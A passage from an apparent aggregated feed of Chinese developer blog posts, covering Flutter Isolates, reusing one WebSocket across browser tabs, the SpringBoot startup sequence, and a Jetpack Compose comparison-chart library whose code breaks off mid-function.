    • Isolates提供了在后台执行代码的能力,从而避免了阻塞UI线程。
  2. 资源利用
    • 利用多核CPU资源,通过并行处理来提高应用程序的性能。

3、使用Isolates的方式

  1. 创建Isolate
    • 使用compute函数可以简便地创建并执行一个Isolate中的函数。
    • compute函数接受一个函数和一个参数列表,返回一个Future,该Future将在Isolate执行完成后完成。
  2. Isolate间通信
    • 通过发送和接收消息来实现Isolate之间的通信。
    • 发送消息使用sendPort.send(message),接收消息则通过监听ReceivePort来实现。

4、Isolate的生命周期管理

  1. Isolate的创建与销毁
    • Isolate在创建时分配独立的内存和资源,在完成任务或被显式销毁时释放这些资源。
    • Flutter框架不直接管理Isolate的生命周期,开发者需要负责适时地创建和销毁Isolate。
  2. 错误处理
    • Isolate中的错误不会传播到创建它的Isolate中,而是需要通过消息传递机制进行错误报告和处理。

5、Flutter中Isolate的性能考虑

  1. 内存使用
    • 每个Isolate都有独立的内存空间,因此创建过多的Isolate会增加内存使用。
    • 需要合理控制Isolate的数量和生命周期以优化内存使用。
  2. CPU使用
    • Isolate可以充分利用多核CPU资源,但过多的Isolate可能会导致上下文切换开销增加。
    • 需要根据实际应用场景和性能需求来合理配置Isolate的数量和工作负载。

6、特定术语解释

  1. Dart Isolates
    • Dart Isolates是Dart语言中用于实现并发执行的一种轻量级线程。
    • 它们相互独立,有自己的内存空间和事件循环,通过消息传递进行通信。
  2. UI线程
    • UI线程是负责渲染用户界面和响应用户输入的线程。
    • 在Flutter中,UI线程是单线程的,耗时的操作需要在后台线程(如Isolates)中执行以避免阻塞UI。

7、Isolates的常见用例

Isolates在Flutter中主要用于执行需要并发处理的任务,以避免阻塞主线程(UI线程)。常见的用例包括:

  • 执行耗时的计算任务,如复杂的数学运算或数据处理。
  • 进行网络请求,以异步方式获取数据而不阻塞UI。
  • 处理I/O操作,如文件读写或数据库访问。

每个隔离都有自己的内存和自己的事件循环。事件循环按照事件添加到事件队列的顺序处理事件。在主隔离上,这些事件可以是任何事情,从处理用户在UI中的点击,到执行一个函数,再到在屏幕上绘制一个框架。

下图显示了一个示例事件队列,其中有3个事件等待处理:

The main isolate diagram

当你应该使用隔离时,只有一个硬性规则,那就是当大型计算导致你的Flutter应用程序出现UI阻塞时。当有任何计算需要比Flutter的帧间隙更长的时间时,就会出现这种情况。

如下图 Tap handler 操作时间过长导致阻塞:

Event jank diagram

8、Isolates之间的消息传递

Isolates之间通过消息传递进行通信。每个Isolate都有自己的内存空间和事件循环,它们之间不能直接共享内存。因此,需要使用SendPortReceivePort来发送和接收消息。发送方通过SendPort发送消息,接收方通过ReceivePort接收消息。

9、短生命周期的Isolates

短生命周期的Isolates通常用于执行一次性任务,如计算某个值或处理一次网络请求。这些Isolates在完成任务后会被销毁,以释放资源。使用短生命周期的Isolates可以提高应用程序的性能和响应性。

在Flutter中将进程移动到隔离的最简单方法是使用isolate .run方法。此方法生成一个隔离,向生成的隔离传递一个回调以启动某些计算,从计算返回一个值,然后在计算完成时关闭隔离。这一切都与主隔离并发发生,并且不会阻塞它:

Isolate diagram

10、有状态、长生命周期的Isolates

与短生命周期的Isolates相比,有状态、长生命周期的Isolates通常用于执行需要持续运行的任务,如后台服务或定时任务。这些Isolates在创建后会一直运行,直到被显式销毁。它们可以维护自己的状态,并在需要时与其他Isolates进行通信。

11、ReceivePorts和SendPorts

ReceivePortSendPort是Dart中用于Isolate间通信的两个关键类。ReceivePort用于接收消息,而SendPort用于发送消息。当创建一个新的Isolate时,会返回一个SendPort对象,该对象可以用于向新Isolate发送消息。同时,新Isolate也会创建一个ReceivePort对象来接收消息。

12、在Isolates中使用平台插件

在Flutter中,平台插件允许应用程序与原生平台(如iOS和Android)进行交互。然而,在Isolates中使用平台插件是有限制的。由于Isolates是独立的执行环境,它们没有直接访问原生平台的能力。因此,通常需要在主Isolate中初始化平台插件,并通过消息传递机制将插件的功能暴露给其他Isolates。

13、Isolates的限制

尽管Isolates提供了强大的并发处理能力,但它们也有一些限制:

  • Isolates之间不能直接共享内存,这限制了它们之间的数据交换方式。
  • 在某些平台上,如Web平台,Isolate的创建和销毁可能会有额外的性能开销。
  • 由于Isolates是独立的执行环境,它们无法直接访问主Isolate中的某些资源,如rootBundledart:ui方法。

14、Web平台和计算

在Web平台上,Flutter使用Web Workers来实现Isolates的功能。Web Workers允许在后台线程中执行脚本,从而不会阻塞主线程。然而,由于Web Workers的限制,一些在Dart VM中可用的Isolate特性在Web平台上可能不可用。

15、无法访问rootBundle或dart:ui方法

在Isolates中,无法直接访问rootBundledart:ui方法。rootBundle通常用于加载应用程序的资源文件,而dart:ui提供了与UI相关的功能。由于Isolates是独立的执行环境,它们没有访问这些资源的权限。因此,需要在主Isolate中加载资源或执行UI相关操作,并通过消息传递机制将结果传递给其他Isolates。

16、从主机平台到Flutter的插件消息有限制

在Flutter中,从主机平台(如iOS或Android)到Flutter应用程序的插件消息传递是有限制的。这通常是由于安全原因和平台限制。为了确保应用程序的稳定性和安全性,Flutter对插件消息传递进行了严格的控制。因此,在开发过程中需要注意这些限制,并遵循最佳实践来确保消息传递的可靠性和安全性。

by 捡芝麻丢西瓜 at January 22, 2025 09:43 AM

juejin frontend

如何实现多 Tab 复用 WebSocket?一文搞定高效实时通信技术!

如何实现多 Tab 复用 WebSocket?一文搞定高效实时通信技术!

你好,各位读者,我是梦兽,一名热衷于 WEB 全栈开发及 Rust 编程的爱好者。若你也对 Rust 情有独钟,欢迎关注我的公众号 “梦兽编程”,加入我们的技术交流群,一同探讨前沿科技。


在现代 Web 应用中,WebSocket 是实现实时通信的关键技术。然而,当用户在多个标签页(Tab)中打开同一个应用时,每个 Tab 都会独立创建一个 WebSocket 连接,这会导致以下问题:

  • 资源浪费:每个 WebSocket 连接都占用服务器和客户端的资源,增加了性能开销。
  • 连接限制:浏览器对同一域名的 WebSocket 连接数有限制,多个连接可能导致服务不可用。

为了解决这些问题,我们可以通过共享 WebSocket 实现多 Tab 的高效通信。本文将介绍如何通过 localStorage 和 BroadcastChannel 等技术实现这一目标,并提供完整的代码示例和图表说明。

同一个浏览器多个Tab

在多 Tab 场景下,每个 Tab 都需要接收 WebSocket 消息,但独立创建 WebSocket 连接会导致资源浪费和重复消息接收的问题。

根据梦兽的web开发经验我们可以使用以下方式进行实现。

  1. 主从模型:通过 localStorage 或其他机制,选定一个 Tab 作为“主标签页”(Master Tab),由它负责创建 WebSocket 连接并处理消息。
  2. 消息广播:主标签页通过 BroadcastChannel 或 localStorage 将接收到的消息广播给其他 Tab。
  3. 动态切换主标签页:当主标签页关闭时,其他 Tab 自动接管 WebSocket 连接。

截屏2025-01-21 16.42.28.png

竞选 主标签页

在竞选标签中。梦兽这里使用localStorage实现这个功能。这个是核心代码。

'use client';

import { useEffect, useRef } from 'react';
import { LocalStorage } from '@/hooks';

function useWebSocket() {
  const TAB_ID = useRef(Date.now()).current;
  console.log('Client ID', TAB_ID);

  const wsRef = useRef<WebSocket | null>(null);
  // 主标签页的标识键
  const MASTER_KEY = 'websocket_master';

  // 尝试成为主标签页
  function tryBecomeMaster() {
    // 先获取当前的主标签页值
    const currentMaster = LocalStorage.getInstance().get(MASTER_KEY);

    if (!currentMaster) {
      LocalStorage.getInstance().set(MASTER_KEY, TAB_ID);
      // 双重检查,确保真的成为了主标签页
      if (LocalStorage.getInstance().get(MASTER_KEY) === TAB_ID.toString()) {
        LocalStorage.getInstance().set(MASTER_KEY, TAB_ID);
        startWebSocket();
      }
    }
  }

  // 启动 WebSocket 连接
  function startWebSocket() {
    console.log('xxxxx');

    // 创建 WebSocket 实例
    wsRef.current = new WebSocket('wss://your-websocket-url');

    wsRef.current.onopen = function () {
      console.log('WebSocket 已连接');
    };

    wsRef.current.onmessage = function (event) {
      console.log('收到消息:', event.data);
    };

    wsRef.current.onclose = function () {
      console.log('WebSocket 已关闭');
      // 如果主标签页关闭,尝试重新成为主标签页
      // localStorage.removeItem(MASTER_KEY);
    };
  }

  useEffect(() => {
    // 监听 storage 事件,检测主标签页的变化
    const handleStorageChange = (event: StorageEvent) => {
      if (event.key === MASTER_KEY) {
        if (!event.newValue) {
          tryBecomeMaster();
        }
      }
    };

    // 在页面卸载时,释放主标签页的标识
    const handleBeforeUnload = () => {
      console.log(LocalStorage.instance.get(MASTER_KEY), TAB_ID);
      if (LocalStorage.instance.get(MASTER_KEY) === TAB_ID) {
        LocalStorage.instance.remove(MASTER_KEY);
      }
    };

    // 监听 storage 事件,检测主标签页的变化
    window.addEventListener('storage', handleStorageChange);
    // 在页面卸载时,释放主标签页的标识
    window.addEventListener('beforeunload', handleBeforeUnload);

    tryBecomeMaster();

    return () => {
      window.removeEventListener('storage', handleStorageChange);
      window.removeEventListener('beforeunload', handleBeforeUnload);
    };
  }, []);
}

export default useWebSocket;

WebSocket消息转发

  const broadcastChannel = new BroadcastChannel('MASTER_MESSAGE');
  const followChannel = new BroadcastChannel('FOLLOW_MESSAGE');
 // ...  省略亿点代码
  wsRef.current.onmessage = function (event) {
      console.log('收到消息:', event.data);
      if(LocalStorage.getInstance().get(MASTER_KEY) === TAB_ID) {
      broadcastChannel.postMessage(event.data);
      }
    };
     // ...  省略亿点代码
  
  wsRef.current.onopen = function () {
        followChannel.onMessage((event)=>{
        
         if(LocalStorage.getInstance().get(MASTER_KEY) === TAB_ID) {
          const data = event.data;
  wsRef.send(data);
         }
  });
    };
   // ...  省略亿点代码

Change Hooks

如果不想使用使用上下文,或者状态库进行通信的话。可以封装一个hooks。再对应的组件引入。虽然会比上下文或者状态库这种方式多一点内存,但也是有优点,就是你不用关系渲染的细腻度可以自己控制到对应的组件进行监听。按需渲染

import { useEffect, useState } from 'react';
import { BroadcastChannel } from '@/packages';

function useBroadcastChannel(channelName: string) {
  const [message, setMessage] = useState();

  useEffect(() => {
    const broadcastChannel = new BroadcastChannel(channelName);
    broadcastChannel.onMessage(event => {
      setMessage(event.data);
    });
  }, []);

  return {
    message,
  };
}

export default useBroadcastChannel;

WebSocket 消息转发的完整实现

在多 Tab 复用 WebSocket 的场景下,当主标签页接收到服务器的 WebSocket 消息时,需要将消息转发给其他标签页。通过 BroadcastChannel,我们可以高效地实现这一功能。

'use client';

import { useEffect, useRef } from 'react';
import { LocalStorage } from '@/hooks';

function useWebSocket() {
  const TAB_ID = useRef(Date.now()).current;
  const wsRef = useRef<WebSocket | null>(null);
  const MASTER_KEY = 'websocket_master';

  const broadcastChannel = new BroadcastChannel('MASTER_MESSAGE');

  // 尝试成为主标签页
  function tryBecomeMaster() {
    const currentMaster = LocalStorage.getInstance().get(MASTER_KEY);

    if (!currentMaster) {
      LocalStorage.getInstance().set(MASTER_KEY, TAB_ID);
      if (LocalStorage.getInstance().get(MASTER_KEY) === TAB_ID.toString()) {
        startWebSocket();
      }
    }
  }

  // 启动 WebSocket 连接
  function startWebSocket() {
    wsRef.current = new WebSocket('wss://your-websocket-url');

    wsRef.current.onopen = () => {
      console.log('WebSocket 已连接');
    };

    wsRef.current.onmessage = (event) => {
      console.log('收到消息:', event.data);

      // 主标签页通过 BroadcastChannel 广播消息
      if (LocalStorage.getInstance().get(MASTER_KEY) === TAB_ID.toString()) {
        broadcastChannel.postMessage(event.data);
      }
    };

    wsRef.current.onclose = () => {
      console.log('WebSocket 已关闭');
    };
  }

  useEffect(() => {
    const handleStorageChange = (event: StorageEvent) => {
      if (event.key === MASTER_KEY && !event.newValue) {
        tryBecomeMaster();
      }
    };

    const handleBeforeUnload = () => {
      if (LocalStorage.getInstance().get(MASTER_KEY) === TAB_ID.toString()) {
        LocalStorage.getInstance().remove(MASTER_KEY);
      }
    };

    // 监听主标签页消息的变化
    broadcastChannel.onmessage = (event) => {
      console.log('从主标签页接收到消息:', event.data);
      // 在从标签页中处理收到的消息
    };

    window.addEventListener('storage', handleStorageChange);
    window.addEventListener('beforeunload', handleBeforeUnload);

    tryBecomeMaster();

    return () => {
      window.removeEventListener('storage', handleStorageChange);
      window.removeEventListener('beforeunload', handleBeforeUnload);
      broadcastChannel.close();
    };
  }, []);
}

export default useWebSocket;

通过以上代码和思路,你可以轻松实现多 Tab 复用 WebSocket 的功能,从而提升 Web 应用的性能和用户体验。如果你在实现过程中遇到问题,欢迎随时留言讨论!

进一步学习

如果你对本文内容感兴趣,欢迎点赞、分享,或关注我的技术博客,获取更多 Rust 编程的精彩内容!如果有任何疑问或建议,欢迎在评论区留言,我们一起探讨!

by 傻梦兽 at January 22, 2025 09:33 AM

juejin backend

SpringBoot启动流程(一)

前言

我们今天来通过源码分析SpringBoot的启动流程,本文中所使用的SpringBoot的版本为2.7.12。

创建SpringApplication

在这里插入图片描述 进入run: 在这里插入图片描述

再次深入: 在这里插入图片描述我们发现这里创建了一个SpringApplication对象,从最上面图可以看出,primarySources即我们最开始传入的启动类即主方法类。 进入SpringApplication的创建:

在这里插入图片描述 我将SpringApplication的创建分为了四个关键步骤: 第一个步骤很简单,即对SpringApplication对象的资源加载器和主方法类以及一些其他属性进行了填充。

确定服务类型

我们来查看第二个步骤,进入该方法: 在这里插入图片描述 isPresent方法: 在这里插入图片描述 我们发现isPresent方法应该是通过类加载器对指定的类路径进行了加载,如果加载成功即加载的类存在加返回true,加载出现错误就返回false。 那么步骤二就是通过类加载的形式判断指定类是否存在来确定web服务的类型,即REACTIVE、NONE、SERVLET。

创建注册初始化、上下文初始化以及监听器

进入步骤三的两个set方法: 在这里插入图片描述 在这里插入图片描述 可以看出步骤三应该是创建了BootstrapRegistryInitializer、ApplicationContextInitializer和ApplicationListener即注册初始化、上下文初始化以及监听器,然后填充到了SpringApplication对象中。 但是它们是怎么被创建的呢?我们可以发现它们都存在了一个相同的方法,传入不同的类,然后通过这个方法返回创建的对象: 在这里插入图片描述 我们进入查看: 在这里插入图片描述 进入loadFactoryName方法: 在这里插入图片描述 继续进入: 在这里插入图片描述

spring.factory:

在这里插入图片描述

仔细阅读,我们可以发现这个方法其实并不难,其主要是加载META-INF/spring.factories这个文件,然后读取每一个键值对的信息,然后最后将这些键值对放入一个map集合中,最后放入本地的缓存集合中。需要获取时先走缓存,从缓存中以要获取的类为键从缓存中获取。

我们通过loadFactoryName方法获取了每一个要加载的类的路径,那么就需要通过这些路径加载这个类,并创建实例,即createSpringFactoriesInstances方法: 在这里插入图片描述 这个方法会通过路径加载这些类然后通过反射创建这些实例。

步骤三:加载META-INF/spring.factories文件中的注册初始化、上下文初始化以及监听器配置,并通过反射创建实例,填充到SpringApplication中

确定启动类本身

在这里插入图片描述 步骤四则会通过运行栈来获取main方法所在的类,即启动类本身

run方法

创建SpringApplication对象完成web服务的创建以及注册初始化、上下文初始化和监听器和其他属性的创建和填充后,就调用其run方法:

 public ConfigurableApplicationContext run(String... args) {
        StopWatch stopWatch = new StopWatch();
        // 计时
        stopWatch.start();
        ConfigurableApplicationContext context = null;
        // 设置系统Handless属性,表示没有显示器鼠标设备也会成功启动
        this.configureHeadlessProperty();
        // 创建运行时监听器
        SpringApplicationRunListeners listeners = this.getRunListeners(args); ...(1)
        // 向监听器发送启动事件
        listeners.starting();

        try {
            // 封装主方法传入的参数
            ApplicationArguments applicationArguments = new DefaultApplicationArguments(args);   
            // 环境准备
            ConfigurableEnvironment environment = this.prepareEnvironment(listeners, applicationArguments);...(2)
            this.configureIgnoreBeanInfo(environment);
            // 打印banner
            Banner printedBanner = this.printBanner(environment);
            // 创建应用上下文
            context = this.createApplicationContext();...(3)
            // 刷新应用上下文前的准备
            this.prepareContext(context, environment, listeners, applicationArguments, printedBanner);...(4)
            // 刷新应用上下文
            this.refreshContext(context);...(5)
            this.afterRefresh(context, applicationArguments);
            stopWatch.stop();
            if (this.logStartupInfo) {
                (new StartupInfoLogger(this.mainApplicationClass)).logStarted(this.getApplicationLog(), stopWatch);
            }

            listeners.started(context);
            this.callRunners(context, applicationArguments);
        } catch (Throwable var9) {
            this.handleRunFailure(context, var9, listeners);
            throw new IllegalStateException(var9);
        }

        try {
            listeners.running(context);
            return context;
        } catch (Throwable var8) {
            this.handleRunFailure(context, var8, (SpringApplicationRunListeners)null);
            throw new IllegalStateException(var8);
        }
    }

我挑选几个重要的方法带大家来深入源码查看 进入(1): 在这里插入图片描述 查看运行时监听器的初始化方法: 在这里插入图片描述 其封装了日志和通过方法传入的监听器 查看获取监听器的方法: 在这里插入图片描述 在这里插入图片描述 我们可以发现这两个方法很熟悉,就是我们上面介绍的,从spring.factories文件中加载运行时监听器,并进行封装。

环境准备

进入(2): 在这里插入图片描述 查看2(1): 在这里插入图片描述 该方法会根据在第一步进行的SpringApplication的初始化时确定的web应用服务,来创建不同相应的环境,我们来查看默认Servlet服务下的环境: 在这里插入图片描述 可以看到其包含两个属性,进行debug查看环境: 在这里插入图片描述 在这里插入图片描述

在这里插入图片描述

那么第一个方法其实就很简单理解了,其根据web服务创建相应的环境并填充了系统环境和JDK的环境信息。 查看第二个方法: 在这里插入图片描述 接着查看: 在这里插入图片描述 该方法将main方法传入的参数进行了封装并且设置到了环境中,如下图: 在这里插入图片描述 查看第二个方法: 在这里插入图片描述 该方法很简单,会确定当前的环境。 我们直接debug到最后,查看干了什么: 在这里插入图片描述 可以看到环境准备方法,添加了一些环境属性,并且其读取了配置文件application.yaml中的属性,对环境进行了设置

环境准备总结

环境准备阶段首先会根据web服务类型创建相应的环境,并且会填充相应的系统环境和JDK环境信息,以及填充主方法传入的参数,读取配置文件例如application.yaml等文件的属性进行填充。

创建应用上下文(容器)

进入(3): 在这里插入图片描述 在这里插入图片描述

这个方法相当简单,其会根据我们确认的web应用类型加载特定的上下文类,并且通过反射来创建应用上下文。

by 轻浮j at January 22, 2025 09:33 AM

juejin android

Android之中美PK,赛事PK对比图Compose实现

可视化中PK图表,赛事PK图,可以很直观的反应出输赢

可视化图表系列如下:
(一)Compose曲线图表库WXChart,你只需要提供数据配置就行了
(二)Compose折线图,贝赛尔曲线图,柱状图,圆饼图,圆环图。带动画和点击效果
(三)全网最火视频,Compose代码写出来,动态可视化趋势视频,帅到爆
(四)全网最火可视化趋势视频实现深度解析,同时新增条形图表
(五)庆元旦,出排名,手撸全网火爆的排名视频,排名动态可视化
(六)Android六边形战士能力图绘制,Compose实现
(七)Android之中美PK,赛事PK对比图Compose实现

一、前言

数据对比分析具有重要的意义,做成可视化大屏可以很直接的反映出双方的差距

如下:中国和美国各项数据动态对比,这个是可以配置音乐做成视频的 2222.gif

在比如:以下是在NBA中国官方网站找的数据:

  • 球队对比

3333.gif

  • 球员对比

55555.gif

  • 动态两个球队数据对比 ,这种动态也是可以配置音乐做成视频的

ezgif-5-7efe535427.gif

二、数据模型设计

1. ChartPKBaseModel,PK的基本数据模:
包含了表格PK左边和右边的PK方名字及相关图片
包含左边赢了条形颜色,右边赢了条形颜色,输了的条形颜色,输了之后剩余部分条形颜色,还有两个相等时候的条形颜色
包含了最基础的,上下左右偏移,条形间隔,动画时长,第一次动画执行延迟时间,
包含了设置条形宽度,如果不设置默认为0,会自动根据对比的条数按照UI高度自动平分
如果是动态动画,可配置背景音乐,背景图片

open class ChartPKBaseModel {
    var pkLeftName: String = "" //pk名字1
    var pkLeftImgUrl: String = ""//pk名字1图片
    var pkRightName: String = ""//pk名字2
    var pkRightImgUrl: String = ""//pk名字2图片

    @Stable
    var win1Color: Color = Color.Magenta  //选手1赢了条形颜色

    @Stable
    var win2Color: Color = Color.Red //选手2赢了条形颜色

    @Stable
    var loseColor: Color = Color.Gray  //输了条形颜色

    @Stable
    var otherBgColor: Color = Color.LightGray//剩余条形颜色

    @Stable
    var eqColor: Color = Color.Green //相等时条形颜色
    var offsetHeight: Float = 0f//最上最下间隔
    var offsetLeft: Float = 30f //左边间隔
    var offsetRight: Float = 30f //右边间隔
    var marginDiv: Float = 0f//对比条间隔颜色
    var durationMillis: Int = 1000 // 动画时长
    var animateDelay: Long = 1000 //动画延迟执行时间
    var barSize: Float = 0f //如果设置了,就不自动根据控件最大高度自动计算

    var isPlayComplete = false
    var musicUrl = ""//背景音乐,可配置网络链接
    var bgUrl = ""
}

2. DynamicPKModel:普通对比数据模型: 即是上面图中:球队对比的模型数据
之包含了总共pk多少项的数据list
pkItemNum:UI界面显示对比项个数
还有中间PK单项名称所占的宽度

class DynamicPKModel(
   val list: MutableList<DynamicPKBarBean>,//总共pk多少项
   val pkItemNum: Int = list.size, //UI界面显示对比项个数
   var centerWidth: Float = 160f//中间宽度
) : ChartPKBaseModel()

3. DynamicPKRoleModel:带角色图片的PK模型
即为上面 球员对比的数据模型:
只是多了左右的两个图片的配置

class DynamicPKRoleModel(
    val list: MutableList<DynamicPKBarBean>,//总共pk多少项
    val pkItemNum: Int = list.size, //UI界面显示对比项个数
    val mapLeftImage: MutableMap<Int, DynamicImage>,
    val mapRightImage: MutableMap<Int, DynamicImage>
) : ChartPKBaseModel()

4. DynamicPKBarBean:PK单项的数据内容
包含:PK项名称
左边 选手1Pk项目得分
右边 选手2Pk项目得分
左边 选手1角色名称
左边 选手1角色图片 右边 选手2角色名称
右边 选手2角色图片
还有可配置的数字格式化设置,因为有些显示是数字值,有些还带比如%的,有些显示有小数等

class DynamicPKBarBean(
    val pkName: String, //PK项名称
    val value1: Float,  //选手1Pk项目得分
    val value2: Float,  //选手2Pk项目得分
    val role1Name: String? = null, //选手1角色名称
    val role1ImgUrl: String? = null,//选手1角色图片
    val role2Name: String? = null, //选手2角色名称
    val role2ImgUrl: String? = null //选手2角色图片
) {
    var formatString: String = ""//数字格式化设置
    var multiplier: Float = 1f//数据显示格式所用的乘数
    var enfBuff: String = ""

    fun getTextValueFormat(value: Float): String {
        return "${formatString?.format(value * multiplier) ?: value.toString()}$enfBuff"
    }
}

5. DynamicImage:角色图片配置项
包含:图标地址,需要绘制的bitmap

data class DynamicImage(
    val imgUrl: String,  //每个条形图可配置的图标地址
    var bitmap: ImageBitmap //需要绘制的bitmap
)

三、真正的调用

1、repositories中添加如下maven

    repositories {
        maven { url 'https://repo1.maven.org/maven2/' }
        maven { url 'https://s01.oss.sonatype.org/content/repositories/releases/' }
    }
}

2、 dependencies中添加依赖

implementation("io.github.wgllss:Wgllss-WXChart:1.0.16")

3. Android的ViewModel中数据准备:
这里可以是网络数据返回,转化秤准备的模型数据即可。


private val _datas3 = MutableLiveData<DynamicPKModel>()
val dynamicPKModel: LiveData<DynamicPKModel> = _datas3

fun setData3() {
        val dynamicPKModel = DynamicPKModel(
            list = mutableListOf(DynamicPKBarBean(
                "得分", 107f, 128f
            ).apply {
                formatString = "%.0f" //数字格式化设置
                multiplier = 1f //数据显示格式所用的乘数
            }, DynamicPKBarBean(
                "篮板", 44f, 49f
            ).apply {
                formatString = "%.0f" //数字格式化设置
                multiplier = 1f //数据显示格式所用的乘数
            }, DynamicPKBarBean(
                "助攻", 28f, 35f
            ).apply {
                formatString = "%.0f" //数字格式化设置
                multiplier = 1f //数据显示格式所用的乘数
            }, DynamicPKBarBean(
                "抢断", 4f, 8f
            ).apply {
                formatString = "%.0f" //数字格式化设置
                multiplier = 1f //数据显示格式所用的乘数
            }, DynamicPKBarBean(
                "盖帽", 5f, 6f
            ).apply {
                formatString = "%.0f" //数字格式化设置
                multiplier = 1f //数据显示格式所用的乘数
            }, DynamicPKBarBean(
                "失误", 14f, 11f
            ).apply {
                formatString = "%.0f" //数字格式化设置
                multiplier = 1f //数据显示格式所用的乘数
            }, DynamicPKBarBean(
                "投篮命中率", 0.451f, 0.526f
            ).apply {
                formatString = "%.1f" //数字格式化设置
                multiplier = 100f //数据显示格式所用的乘数
                enfBuff = "%"
            }, DynamicPKBarBean(
                "三分命中率", 0.375f, 0.545f
            ).apply {
                formatString = "%.1f" //数字格式化设置
                multiplier = 100f //数据显示格式所用的乘数
                enfBuff = "%"
            }, DynamicPKBarBean(
                "罚球命中率", 0.625f, 1f
            ).apply {
                formatString = "%.1f" //数字格式化设置
                multiplier = 100f //数据显示格式所用的乘数
                enfBuff = "%"
            }, DynamicPKBarBean(
                "时间", 48f, 48f
            ).apply {
                formatString = "%.0f" //数字格式化设置
                multiplier = 1f //数据显示格式所用的乘数
            }), centerWidth = toDp(110f)
        ).apply {
            pkLeftName = "马刺"
            pkLeftImgUrl = "https://search-operate.cdn.bcebos.com/5305d1a7b721b5bef418041eff53ba82.png"
            pkRightName = "热火"
            pkRightImgUrl = "https://search-operate.cdn.bcebos.com/ff7ccef6a6b79c6417ee8367946b0aec.png"
            win1Color = Color.Magenta
            win2Color = Color.Red
            loseColor = Color.Gray
            otherBgColor = Color.LightGray
            eqColor = Color.Green
            offsetLeft = toDp(10f)
            offsetRight = toDp(10f)
            marginDiv = toDp(10f)
//            barSize = toDp(20f)
            musicUrl = "asset:///vv.mp3" //背景音乐,可配置网络链接
        }
        _datas3.value = dynamicPKModel
    }

4. Compose中使用方调用:
直接调用:

球队对比绘制: fun vSChart(modifier: Modifier, textMeasurer: TextMeasurer, stylePkName: TextStyle, style: TextStyle, it: DynamicPKModel)
stylePkName:中间pk项配置文字的样式
style:条形数字配置文字样式

球员对比绘制调用:
@Composable fun vSWithRoleChart(modifier: Modifier, textMeasurer: TextMeasurer, stylePkName: TextStyle, style: TextStyle, it: DynamicPKRoleModel)

动态对比调用:
@Composable fun dynamicVSChart(modifier: Modifier, textMeasurer: TextMeasurer, stylePkName: TextStyle, style: TextStyle, it: DynamicPKModel, onPlayComplete: (() -> Unit)? = null) {

球队对比调用绘制全部代码如下:

@Composable
fun pkChart(viewModel: DynamicViewModel = DynamicViewModel().apply { setData3() }) {
    val textMeasurer = rememberTextMeasurer()
    val context = LocalContext.current
    val chatModel by viewModel.dynamicPKModel.observeAsState()
    chatModel?.let {
        Column(
            modifier = Modifier
                .fillMaxWidth()
                .height(600.dp)
//                .fillMaxHeight()
        ) {
            Row(
                modifier = Modifier
                    .fillMaxWidth()
                    .height(80.dp), verticalAlignment = Alignment.CenterVertically,   //整体垂直居中
                horizontalArrangement = Arrangement.Center                 //整体水平居中
            ) {
                Text(text = it.pkLeftName, fontSize = 30.sp)
                AsyncImage(
                    modifier = Modifier
                        .size(60.dp)
                        .padding(10.dp, 0.dp, 0.dp, 0.dp), model = it.pkLeftImgUrl, contentDescription = "", contentScale = ContentScale.Crop
                )
                Text(text = "VS", fontSize = 36.sp, modifier = Modifier.width(110.dp), textAlign = TextAlign.Center)
                AsyncImage(
                    modifier = Modifier.size(60.dp), model = it.pkRightImgUrl, contentDescription = "", contentScale = ContentScale.Crop
                )
                Text(text = it.pkRightName, fontSize = 30.sp, modifier = Modifier.padding(10.dp, 0.dp, 0.dp, 0.dp))
            }
            val modifier = Modifier
                .fillMaxWidth()
                .fillMaxHeight()
            vSChart(
                modifier, textMeasurer, TextStyle(
                    fontSize = 16.sp, fontWeight = FontWeight.Normal, color = Color.Black
                ), TextStyle(
                    fontSize = 16.sp, fontWeight = FontWeight.Normal, color = Color.White
                ), it
            )
        }
    }
}

四、绘制原来解析:

真正的绘制:(以球队对比绘制如下全部代码为例)

  1. 通过UI高度计算出每一项所占的高度 heightDiv
  2. 通过左右边距及中间所占宽度,计算剩余总共可用宽度 availableWidth
  3. 计算出左右两个中的最大值,就是左边最大宽度,和右边最大宽度,每个数字值所占的UI宽度比例为: val widthAbs = availableWidth / (2 * Math.max(vs.value1, vs.value2))
  4. 需要判断出左右那个大,那个小,还是相等,便可以计算出:赢了的填满最大宽度 的一半:availableWidth/2,输了的,计算出输了的差值,得到其他颜色和失败的条形种的位置。
  5. 没有什么难度,基本就是小学数学计算逻辑

@Composable
fun vSChart(modifier: Modifier, textMeasurer: TextMeasurer, stylePkName: TextStyle, style: TextStyle, it: DynamicPKModel) {
    val context = LocalContext.current
    var mSize by remember { mutableStateOf(Size(0f, 0f)) }

    val width = mSize.width
    val height = mSize.height
    val availableWidth = width - it.offsetLeft - it.offsetRight - it.centerWidth
    val fontSizeDip = DisplayUtil.sp2dp(context, style.fontSize.value)
    val heightDiv = if (it.barSize > 0) it.barSize else (height - 2 * it.offsetHeight - (it.pkItemNum - 1) * it.marginDiv) / it.pkItemNum
    val fontHegitVcenterOffset = heightDiv / 2 - (fontSizeDip + 0.5f) / 2

    var start by remember { mutableStateOf(false) }
    val animatedBar by animateFloatAsState(targetValue = if (start) 1f else 0f, animationSpec = FloatTweenSpec(it.durationMillis))
    val leftanimate = 1f - animatedBar
    LaunchedEffect(Unit) {
        delay(it.animateDelay)
        start = true
    }

    Canvas(modifier = modifier) {
        mSize = size
        it.list.forEachIndexed { index, vs ->
            if (start) {
                val dl = vs.pkName.length * fontSizeDip
                drawText(textMeasurer = textMeasurer, topLeft = Offset(width / 2 - dl / 2, index * heightDiv + (index - 1) * it.marginDiv + fontHegitVcenterOffset), text = vs.pkName, style = stylePkName)
                val widthAbs = availableWidth / (2 * Math.max(vs.value1, vs.value2))
                if (vs.value1 > vs.value2) {
                    drawRect(it.win1Color, topLeft = Offset(it.offsetLeft + (availableWidth / 2 * leftanimate), index * heightDiv + (index - 1) * it.marginDiv), size = Size(availableWidth / 2 * animatedBar, heightDiv))
                    drawRect(it.loseColor, topLeft = Offset(width / 2 + it.centerWidth / 2, index * heightDiv + (index - 1) * it.marginDiv), size = Size(vs.value2 * widthAbs * animatedBar, heightDiv))
                    drawRect(it.otherBgColor, topLeft = Offset(width - it.offsetRight - (vs.value1 - vs.value2) * widthAbs * animatedBar, index * heightDiv + (index - 1) * it.marginDiv), size = Size((vs.value1 - vs.value2) * widthAbs * animatedBar, heightDiv))

                    drawText(textMeasurer = textMeasurer, topLeft = Offset(it.offsetLeft + fontSizeDip + (availableWidth / 2 - fontSizeDip) * leftanimate, index * heightDiv + (index - 1) * it.marginDiv + fontHegitVcenterOffset), text = vs.getTextValueFormat(vs.value1), style = style)
                    val dl2 = vs.getTextValueFormat(vs.value2).length * fontSizeDip / 2 + fontSizeDip
